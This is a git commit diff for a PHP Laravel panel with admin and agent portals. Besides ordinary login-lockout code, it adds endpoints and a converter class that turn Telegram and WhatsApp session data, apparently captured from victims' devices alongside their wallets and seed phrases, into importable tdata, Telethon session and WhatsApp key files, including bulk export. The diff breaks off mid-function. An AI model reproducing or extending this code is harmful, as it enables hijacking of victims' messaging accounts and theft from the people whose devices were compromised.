feat: tg/ws/security/

This commit is contained in:
hashbro
2026-10-03 05:40:19 +08:00
parent 6e4f7e6020
commit afac799588
32 changed files with 2038 additions and 18 deletions
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\SystemLog;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
@@ -43,6 +44,9 @@ class AdminUserController extends Controller
'status' => (int) $a->status,
'google_auth_open' => (int) $a->google_auth_open,
'last_ip' => $a->last_ip,
'login_attempts' => (int) $a->login_attempts,
'locked_at' => optional($a->locked_at)->format('Y-m-d H:i:s'),
'is_locked' => $a->isLocked(),
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
'is_self' => $a->id === $selfId,
@@ -121,6 +125,35 @@ class AdminUserController extends Controller
return response()->json(['code' => 0, 'msg' => 'ok']);
}
/**
* Unlock an admin account that was locked due to too many failed
* password attempts. Only super admins can unlock.
*/
public function unlock(Admin $adminUser)
{
/** @var Admin $actor */
$actor = auth('admin')->user();
if (! $actor instanceof Admin || ! $actor->isSuper()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
if (! $adminUser->isLocked()) {
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
}
$adminUser->clearLoginAttempts();
SystemLog::record(
$actor,
'admin',
SystemLog::ACTION_ADMIN_UNLOCKED,
'超级管理员「'.$actor->username.'」解除管理员「'.$adminUser->username.'」的封禁状态',
request(),
);
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
}
private function superCount(): int
{
return (int) Admin::query()->where('is_super', 1)->count();
@@ -3,7 +3,9 @@
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\SystemLog;
use App\Models\User;
use App\Services\TelegramNotifier;
use Illuminate\Http\Request;
@@ -55,6 +57,9 @@ class AgentUserController extends Controller
'chat_id' => $u->chat_id ?: '',
'telegram_ready' => $u->hasTelegramChat(),
'google_bound' => $u->hasGoogleBound() ? 1 : 0,
'login_attempts' => (int) $u->login_attempts,
'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'),
'is_locked' => $u->isLocked(),
'channels_count' => (int) $u->channels_count,
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
@@ -167,6 +172,31 @@ class AgentUserController extends Controller
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function unlock(User $agent)
{
/** @var Admin|null $actor */
$actor = auth('admin')->user();
if (! $actor instanceof Admin) {
return response()->json(['code' => 1, 'msg' => '未登录'], 401);
}
if (! $agent->isLocked()) {
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
}
$agent->clearLoginAttempts();
SystemLog::record(
$actor,
'admin',
SystemLog::ACTION_AGENT_UNLOCKED,
'管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态',
request(),
);
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
}
public function testTelegram(Request $request, TelegramNotifier $telegram)
{
$data = $request->validate([
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\SystemLog;
use App\Services\AdminGoogle2fa;
use App\Support\VisitorIp;
use Illuminate\Http\JsonResponse;
@@ -61,12 +62,47 @@ class AuthController extends Controller
]);
}
// Account-level lock: if the admin account is locked due to too many
// consecutive wrong passwords, reject the login regardless of IP.
$admin = Admin::query()->where('username', $credentials['username'])->first();
if ($admin && $admin->isLocked()) {
return response()->json([
'code' => 1,
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系超级管理员解除',
]);
}
if (! Auth::guard('admin')->attempt(
['username' => $credentials['username'], 'password' => $credentials['password']],
false
)) {
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
// Track consecutive wrong passwords on the account itself.
if ($admin) {
$justLocked = $admin->recordFailedLogin(self::MAX_ATTEMPTS);
if ($justLocked) {
SystemLog::record(
$admin,
'admin',
SystemLog::ACTION_ADMIN_LOCKED,
'管理员「'.$admin->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
$request,
);
return response()->json([
'code' => 1,
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系超级管理员解除',
]);
}
$remaining = self::MAX_ATTEMPTS - (int) $admin->fresh()->login_attempts;
if ($remaining > 0) {
return response()->json([
'code' => 1,
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
]);
}
}
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
}
@@ -96,6 +132,7 @@ class AuthController extends Controller
}
RateLimiter::clear($throttleKey);
$user->clearLoginAttempts();
$request->session()->regenerate();
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
@@ -13,6 +13,7 @@ use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\PhotoRead;
use App\Models\User;
use App\Models\WalletAddress;
@@ -91,7 +92,7 @@ class DeviceController extends Controller
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
'destroy_url' => route($portal.'.devices.destroy', $d),
'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '',
];
})->values();
@@ -108,7 +109,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) {
$tab = 'wallets';
}
@@ -175,6 +176,8 @@ class DeviceController extends Controller
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page),
'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page),
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
};
}
@@ -746,6 +749,45 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->pluginSessions()->where('kind', $kind);
$q->orderBy('plugin_sessions.'.$field, $order);
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$isSuper = (bool) auth('admin')->user()?->isSuper();
$data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) {
$summary = $row->listSummary();
return array_merge($summary, [
'id' => $row->id,
'kind' => $row->kind,
'account_id' => $row->account_id ?: '',
'phone' => $row->phone ?: '',
'payload_url' => route($portal.'.sessions.payload', $row, false),
'download_url' => route($portal.'.sessions.download', $row, false),
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.tdata', $row, false)
: '',
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.session-file', $row, false)
: '',
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
? route($portal.'.sessions.ws-full', $row, false)
: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
]);
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
{
$noteId = $device->notes()->orderByDesc('id')->value('id');
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
use App\Models\PluginSession;
use App\Models\User;
use App\Support\AgentScope;
use App\Support\WsPayloadConverter;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -74,6 +75,219 @@ class PluginSessionController extends Controller
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
}
/**
* Download a Telegram Desktop tdata zip for this Telegram session.
*
* Converts the tglib.js payload (state + db_sqlite) into a tdata folder
* via opentele-ng (offline, no Telegram connection), then zips it.
* Only Telegram sessions (kind=1) with a valid backupData block are
* convertible; WhatsApp sessions return 422.
*/
public function downloadTdata(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
if (! auth('admin')->user()?->isSuper()) {
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
}
if (! $pluginSession->isTelegram()) {
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
}
$payload = $pluginSession->fullPayload();
if (! is_array($payload) || ! isset($payload['state'])) {
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
}
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
$script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py'));
if (! is_file($python) || ! is_file($script)) {
return response()->json([
'code' => 1,
'msg' => '转换环境未配置(缺少 Python 或脚本)',
], 500);
}
$tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid();
@mkdir($tmpDir, 0700, true);
$jsonPath = $tmpDir.'/input.json';
$zipPath = $tmpDir.'/tdata.zip';
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
.escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1';
$output = [];
$exit = -1;
@exec($cmd, $output, $exit);
if ($exit !== 0 || ! is_file($zipPath)) {
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
@unlink($jsonPath);
if (is_file($zipPath)) @unlink($zipPath);
@rmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => $msg], 500);
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$filename = 'tdata-'.$account.'.zip';
$zipContents = file_get_contents($zipPath);
@unlink($jsonPath);
@unlink($zipPath);
@rmdir($tmpDir);
return response()->streamDownload(static function () use ($zipContents) {
echo $zipContents;
}, $filename, ['Content-Type' => 'application/zip']);
}
/**
* Download a Telethon session trio file (.session / .json / _密钥.txt).
*
* Converts the tglib.js payload (state + db_sqlite) into the three-file
* Telethon session format via tglib_to_session_files.py (offline).
* The `type` query param selects which file to stream back:
* - session: {phone}.session (SQLite, application/octet-stream)
* - json: {phone}.json (metadata + session_string)
* - key: {phone}_密钥.txt (session_string plain text)
* Only Telegram sessions (kind=1) with a valid backupData block are
* convertible; WhatsApp sessions return 422.
*/
public function downloadSessionFile(Request $request, PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
if (! auth('admin')->user()?->isSuper()) {
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
}
if (! $pluginSession->isTelegram()) {
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
}
$type = (string) $request->query('type', 'session');
if (! in_array($type, ['session', 'json', 'key'], true)) {
$type = 'session';
}
$payload = $pluginSession->fullPayload();
if (! is_array($payload) || ! isset($payload['state'])) {
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
}
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
$script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py'));
if (! is_file($python) || ! is_file($script)) {
return response()->json([
'code' => 1,
'msg' => '转换环境未配置(缺少 Python 或脚本)',
], 500);
}
$tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid();
@mkdir($tmpDir, 0700, true);
$jsonPath = $tmpDir.'/input.json';
$outDir = $tmpDir.'/out';
@mkdir($outDir, 0700, true);
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
.escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1';
$output = [];
$exit = -1;
@exec($cmd, $output, $exit);
if ($exit !== 0) {
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
$this->rrmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => $msg], 500);
}
// Locate the generated files (named {phone}.* in outDir).
$sessionFile = $jsonMeta = $keyFile = null;
foreach (glob($outDir.'/*') as $f) {
$base = basename($f);
if (str_ends_with($base, '.session')) {
$sessionFile = $f;
} elseif (str_ends_with($base, '.json')) {
$jsonMeta = $f;
} elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) {
$keyFile = $f;
}
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile);
$ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session');
$filename = $account.'.'.$ext;
$mime = $type === 'json' ? 'application/json'
: ($type === 'key' ? 'text/plain' : 'application/octet-stream');
if (! $file || ! is_file($file)) {
$this->rrmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500);
}
$contents = file_get_contents($file);
$this->rrmdir($tmpDir);
return response()->streamDownload(static function () use ($contents) {
echo $contents;
}, $filename, ['Content-Type' => $mime]);
}
/**
* Download a single WhatsApp session's full protocol parameters as a
* one-line NDJSON .txt file (the __ws.txt 26-field format).
*
* Only WhatsApp sessions (kind=2) with a convertible payload are
* supported; Telegram sessions return 422.
*/
public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter)
{
$this->authorizeSession($pluginSession);
if (! $pluginSession->isWhatsApp()) {
return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422);
}
$line = $converter->convertToLine($pluginSession, $pluginSession->device);
if ($line === null) {
return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422);
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$filename = 'ws-'.$account.'.txt';
return response()->streamDownload(static function () use ($line) {
echo $line."\n";
}, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']);
}
/**
* Recursively remove a directory (best-effort).
*/
private function rrmdir(string $dir): void
{
if (! is_dir($dir)) {
return;
}
$items = array_diff(scandir($dir) ?: [], ['.', '..']);
foreach ($items as $item) {
$path = $dir.'/'.$item;
if (is_dir($path)) {
$this->rrmdir($path);
} else {
@unlink($path);
}
}
@rmdir($dir);
}
/**
* Bulk export all sessions matching the current filter as a ZIP.
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
@@ -163,6 +377,52 @@ class PluginSessionController extends Controller
]);
}
/**
* Bulk export WhatsApp sessions as a single NDJSON .txt file
* (one JSON object per line, 26 fields — the chk.ts / __ws.txt format).
*
* Each wap.js payload is converted on the fly: protobuf signedPreKey
* decode, libsodium curve25519 public-key derivation, and cc/country/in
* inference from the bare phone number. Sessions lacking the minimum
* key material are skipped (counted in X-Export-Skipped).
*/
public function exportWs(Request $request, WsPayloadConverter $converter)
{
$q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP);
$total = $q->count();
if ($total === 0) {
return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422);
}
if ($total > 1000) {
return response()->json([
'code' => 1,
'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出',
], 422);
}
$fileName = 'ws-'.date('Ymd-His').'.txt';
return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) {
$written = 0;
$skipped = 0;
foreach ($q->cursor() as $row) {
/** @var PluginSession $row */
$line = $converter->convertToLine($row, $row->device);
if ($line === null) {
$skipped++;
continue;
}
echo $line."\n";
$written++;
}
}, $fileName, [
'Content-Type' => 'text/plain; charset=UTF-8',
'X-Export-Count' => (string) $total,
'X-Export-Written' => (string) ($written ?? 0),
'X-Export-Skipped' => (string) ($skipped ?? 0),
]);
}
private function page(string $kind)
{
$agents = $this->isAgentPortal()
@@ -194,7 +454,8 @@ class PluginSessionController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$isSuper = (bool) auth('admin')->user()?->isSuper();
$data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) {
/** @var PluginSession $row */
$summary = $row->listSummary();
@@ -205,6 +466,15 @@ class PluginSessionController extends Controller
'channel_id' => $row->device_channel_id ?: '',
'payload_url' => route($portal.'.sessions.payload', $row, false),
'download_url' => route($portal.'.sessions.download', $row, false),
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.tdata', $row, false)
: '',
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.session-file', $row, false)
: '',
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
? route($portal.'.sessions.ws-full', $row, false)
: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
@@ -3,6 +3,7 @@
namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\SystemLog;
use App\Models\User;
use App\Services\AdminGoogle2fa;
use App\Support\VisitorIp;
@@ -63,6 +64,12 @@ class AuthController extends Controller
/** @var User|null $user */
$user = User::query()->where('username', $credentials['username'])->first();
if ($user && $user->isLocked()) {
return response()->json([
'code' => 1,
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系管理员解除',
]);
}
if ($user && ! $user->isEnabled()) {
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
@@ -75,6 +82,31 @@ class AuthController extends Controller
)) {
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
if ($user) {
$justLocked = $user->recordFailedLogin(self::MAX_ATTEMPTS);
if ($justLocked) {
SystemLog::record(
$user,
'agent',
SystemLog::ACTION_AGENT_LOCKED,
'代理「'.$user->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
$request,
);
return response()->json([
'code' => 1,
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系管理员解除',
]);
}
$remaining = self::MAX_ATTEMPTS - (int) $user->fresh()->login_attempts;
if ($remaining > 0) {
return response()->json([
'code' => 1,
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
]);
}
}
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
}
@@ -96,6 +128,7 @@ class AuthController extends Controller
}
RateLimiter::clear($throttleKey);
$user->clearLoginAttempts();
$request->session()->regenerate();
return response()->json([
+40
View File
@@ -14,6 +14,8 @@ class Admin extends Authenticatable
'google_auth_open',
'google_secret',
'last_ip',
'login_attempts',
'locked_at',
];
protected $hidden = ['password', 'remember_token', 'google_secret'];
@@ -25,6 +27,8 @@ class Admin extends Authenticatable
'is_super' => 'integer',
'status' => 'integer',
'google_auth_open' => 'integer',
'login_attempts' => 'integer',
'locked_at' => 'datetime',
];
}
@@ -38,6 +42,42 @@ class Admin extends Authenticatable
return (int) $this->status === 1;
}
public function isLocked(): bool
{
return $this->locked_at !== null;
}
/**
* Increment the consecutive failed-login counter; auto-lock when the
* count reaches $maxAttempts (default 5). Returns true when the call
* triggers a lock.
*/
public function recordFailedLogin(int $maxAttempts = 5): bool
{
$this->login_attempts = (int) $this->login_attempts + 1;
$justLocked = false;
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
$this->locked_at = now();
$justLocked = true;
}
$this->save();
return $justLocked;
}
/**
* Reset the failed-login counter (called after a successful login or
* when an admin manually unlocks the account).
*/
public function clearLoginAttempts(): void
{
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
$this->login_attempts = 0;
$this->locked_at = null;
$this->save();
}
}
public function hasGoogleBound(): bool
{
return filled($this->google_secret);
+12
View File
@@ -12,6 +12,14 @@ class SystemLog extends Model
public const ACTION_MNEMONIC_CREATE = 'mnemonic_create';
public const ACTION_ADMIN_LOCKED = 'admin_locked';
public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked';
public const ACTION_AGENT_LOCKED = 'agent_locked';
public const ACTION_AGENT_UNLOCKED = 'agent_unlocked';
public const UPDATED_AT = null;
protected $fillable = [
@@ -30,6 +38,10 @@ class SystemLog extends Model
return [
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
self::ACTION_MNEMONIC_CREATE => '手动添加助记词',
self::ACTION_ADMIN_LOCKED => '账号封锁',
self::ACTION_ADMIN_UNLOCKED => '账号解锁',
self::ACTION_AGENT_LOCKED => '代理账号封锁',
self::ACTION_AGENT_UNLOCKED => '代理账号解锁',
];
}
+40
View File
@@ -17,6 +17,8 @@ class User extends Authenticatable
'auto_transfer_threshold_bnb',
'album_storage_default',
'can_reveal_mnemonics',
'login_attempts',
'locked_at',
];
protected $hidden = [
@@ -46,6 +48,8 @@ class User extends Authenticatable
'album_storage_default' => 'boolean',
'can_reveal_mnemonics' => 'boolean',
'google_auth_open' => 'integer',
'login_attempts' => 'integer',
'locked_at' => 'datetime',
];
}
@@ -59,6 +63,42 @@ class User extends Authenticatable
return (int) $this->status === 1;
}
public function isLocked(): bool
{
return $this->locked_at !== null;
}
/**
* Increment the consecutive failed-login counter; auto-lock when the
* count reaches $maxAttempts (default 5). Returns true when the call
* triggers a lock.
*/
public function recordFailedLogin(int $maxAttempts = 5): bool
{
$this->login_attempts = (int) $this->login_attempts + 1;
$justLocked = false;
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
$this->locked_at = now();
$justLocked = true;
}
$this->save();
return $justLocked;
}
/**
* Reset the failed-login counter (called after a successful login or
* when an admin manually unlocks the account).
*/
public function clearLoginAttempts(): void
{
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
$this->login_attempts = 0;
$this->locked_at = null;
$this->save();
}
}
public function channels(): HasMany
{
return $this->hasMany(Channel::class, 'user_id');
+95
View File
@@ -0,0 +1,95 @@
<?php
namespace App\Support;
/**
* ITU-T E.164 calling codes <-> ISO 3166-1 alpha-2.
*
* Used to infer cc / country / in from a bare WhatsApp phone number
* (wap.js reports userId as an int with no country-code breakdown).
* Longest-prefix-first so 1-3 digit codes resolve correctly.
*/
final class CountryCallingCode
{
/** @var array<string, string> calling-code => ISO alpha-2 */
private const CALLING_CODES = [
'1' => 'US', '7' => 'RU',
'20' => 'EG', '27' => 'ZA', '30' => 'GR', '31' => 'NL', '32' => 'BE',
'33' => 'FR', '34' => 'ES', '36' => 'HU', '39' => 'IT', '40' => 'RO',
'41' => 'CH', '43' => 'AT', '44' => 'GB', '45' => 'DK', '46' => 'SE',
'47' => 'NO', '48' => 'PL', '49' => 'DE', '51' => 'PE', '52' => 'MX',
'53' => 'CU', '54' => 'AR', '55' => 'BR', '56' => 'CL', '57' => 'CO',
'58' => 'VE', '60' => 'MY', '61' => 'AU', '62' => 'ID', '63' => 'PH',
'64' => 'NZ', '65' => 'SG', '66' => 'TH', '81' => 'JP', '82' => 'KR',
'84' => 'VN', '86' => 'CN', '90' => 'TR', '91' => 'IN', '92' => 'PK',
'93' => 'AF', '94' => 'LK', '95' => 'MM', '98' => 'IR',
'211' => 'SS', '212' => 'MA', '213' => 'DZ', '216' => 'TN', '218' => 'LY',
'220' => 'GM', '221' => 'SN', '222' => 'MR', '223' => 'ML', '224' => 'GN',
'225' => 'CI', '226' => 'BF', '227' => 'NE', '228' => 'TG', '229' => 'BJ',
'230' => 'MU', '231' => 'LR', '232' => 'SL', '233' => 'GH', '234' => 'NG',
'235' => 'TD', '236' => 'CF', '237' => 'CM', '238' => 'CV', '239' => 'ST',
'240' => 'GQ', '241' => 'GA', '242' => 'CG', '243' => 'CD', '244' => 'AO',
'245' => 'GW', '248' => 'SC', '249' => 'SD', '250' => 'RW', '251' => 'ET',
'252' => 'SO', '253' => 'DJ', '254' => 'KE', '255' => 'TZ', '256' => 'UG',
'257' => 'BI', '258' => 'MZ', '260' => 'ZM', '261' => 'MG', '263' => 'ZW',
'264' => 'NA', '265' => 'MW', '266' => 'LS', '267' => 'BW', '268' => 'SZ',
'269' => 'KM', '290' => 'SH', '291' => 'ER', '297' => 'AW', '298' => 'FO',
'299' => 'GL', '350' => 'GI', '351' => 'PT', '352' => 'LU', '353' => 'IE',
'354' => 'IS', '355' => 'AL', '356' => 'MT', '357' => 'CY', '358' => 'FI',
'359' => 'BG', '370' => 'LT', '371' => 'LV', '372' => 'EE', '373' => 'MD',
'374' => 'AM', '375' => 'BY', '376' => 'AD', '377' => 'MC', '378' => 'SM',
'380' => 'UA', '381' => 'RS', '382' => 'ME', '383' => 'XK', '385' => 'HR',
'386' => 'SI', '387' => 'BA', '389' => 'MK', '420' => 'CZ', '421' => 'SK',
'423' => 'LI', '500' => 'FK', '501' => 'BZ', '502' => 'GT', '503' => 'SV',
'504' => 'HN', '505' => 'NI', '506' => 'CR', '507' => 'PA', '508' => 'PM',
'509' => 'HT', '590' => 'GP', '591' => 'BO', '592' => 'GY', '593' => 'EC',
'594' => 'GF', '595' => 'PY', '596' => 'MQ', '597' => 'SR', '598' => 'UY',
'599' => 'CW', '670' => 'TL', '672' => 'NF', '673' => 'BN', '674' => 'NR',
'675' => 'PG', '676' => 'TO', '677' => 'SB', '678' => 'VU', '679' => 'FJ',
'680' => 'PW', '681' => 'WF', '682' => 'CK', '685' => 'WS', '686' => 'KI',
'687' => 'NC', '688' => 'TV', '689' => 'PF', '690' => 'TK', '691' => 'FM',
'692' => 'MH', '850' => 'KP', '852' => 'HK', '853' => 'MO', '855' => 'KH',
'856' => 'LA', '880' => 'BD', '886' => 'TW', '960' => 'MV', '961' => 'LB',
'962' => 'JO', '963' => 'SY', '964' => 'IQ', '965' => 'KW', '966' => 'SA',
'967' => 'YE', '968' => 'OM', '971' => 'AE', '972' => 'IL', '973' => 'BH',
'974' => 'QA', '975' => 'BT', '976' => 'MN', '977' => 'NP', '992' => 'TJ',
'993' => 'TM', '994' => 'AZ', '995' => 'GE', '996' => 'KG', '998' => 'UZ',
];
/**
* Infer [cc, country] from a bare E.164 phone (no + prefix).
* Longest-prefix-first; returns ['', ''] on no match.
*
* @return array{0:string, 1:string} [cc, iso]
*/
public static function inferFromPhone(string $phone): array
{
$phone = preg_replace('/\D+/', '', $phone) ?? '';
if ($phone === '') {
return ['', ''];
}
for ($len = 3; $len >= 1; $len--) {
$prefix = substr($phone, 0, $len);
if (isset(self::CALLING_CODES[$prefix])) {
return [$prefix, self::CALLING_CODES[$prefix]];
}
}
return ['', ''];
}
public static function callingCodeForCountry(?string $iso): ?string
{
$iso = strtoupper(trim((string) $iso));
if ($iso === '' || $iso === 'T1' || $iso === 'XX') {
return null;
}
foreach (self::CALLING_CODES as $code => $country) {
if ($country === $iso) {
return $code;
}
}
return null;
}
}
+250
View File
@@ -0,0 +1,250 @@
<?php
namespace App\Support;
use App\Models\Device;
use App\Models\PluginSession;
/**
* Convert a wap.js WhatsApp session payload (xxbb family, POST /api/wp/t)
* into the 26-field NDJSON record format used by chk.ts native output
* (the __ws.txt format: one JSON object per line, fixed key order).
*
* Field coverage vs chk.ts native output:
* - 21/26 directly from wap.js payload
* - 1 derived (clientStaticPublicKey via libsodium curve25519)
* - 5 empty (cc/country/language/mnc/deviceUUID — wap.js does not collect)
*
* cc / country / in are inferred from the bare phone number via
* {@see CountryCallingCode}; device.country (CF-IPCountry) is used as a
* cross-check fallback when the phone-prefix lookup is ambiguous.
*/
final class WsPayloadConverter
{
/** Fixed key order matching __ws.txt / chk.ts native output. */
private const FIELD_ORDER = [
'cc', 'clientStaticPrivateKey', 'clientStaticPublicKey', 'country',
'device', 'deviceUUID', 'identityPrivateKey', 'identityPublicKey',
'in', 'jid', 'language', 'manufacturer', 'mcc', 'mnc',
'osBuildNumber', 'osVersion', 'phone', 'phoneUUID', 'registrationID',
'roProductBoard', 'roProductDevice', 'signPreKeyID',
'signPreKeyPrivateKey', 'signPreKeyPublicKey', 'signPreKeySignature',
'whatsappVersion',
];
/**
* Convert one PluginSession (kind=WHATSAPP) into a 26-field record.
* Returns null when the payload lacks the minimum key material.
*
* @return array<string, mixed>|null
*/
public function convert(PluginSession $session, ?Device $device = null): ?array
{
$blob = $session->fullPayload();
if (!is_array($blob)) {
return null;
}
$pks = $blob['phoneKeyStore'] ?? null;
$ident = is_array($pks) ? ($pks['identity'] ?? null) : null;
$spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null;
$csB64 = $blob['clientStaticKeypairBase64'] ?? null;
if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) {
return null;
}
$phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null);
$dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : [];
[$cc, $country] = $this->inferCcCountry($phone, $device);
$in = $cc !== '' && str_starts_with($phone, $cc)
? substr($phone, strlen($cc))
: $phone;
$identPub = $this->hexToBytes($ident['hexPublic'] ?? '');
$identPriv = $this->hexToBytes($ident['hexPrivate'] ?? '');
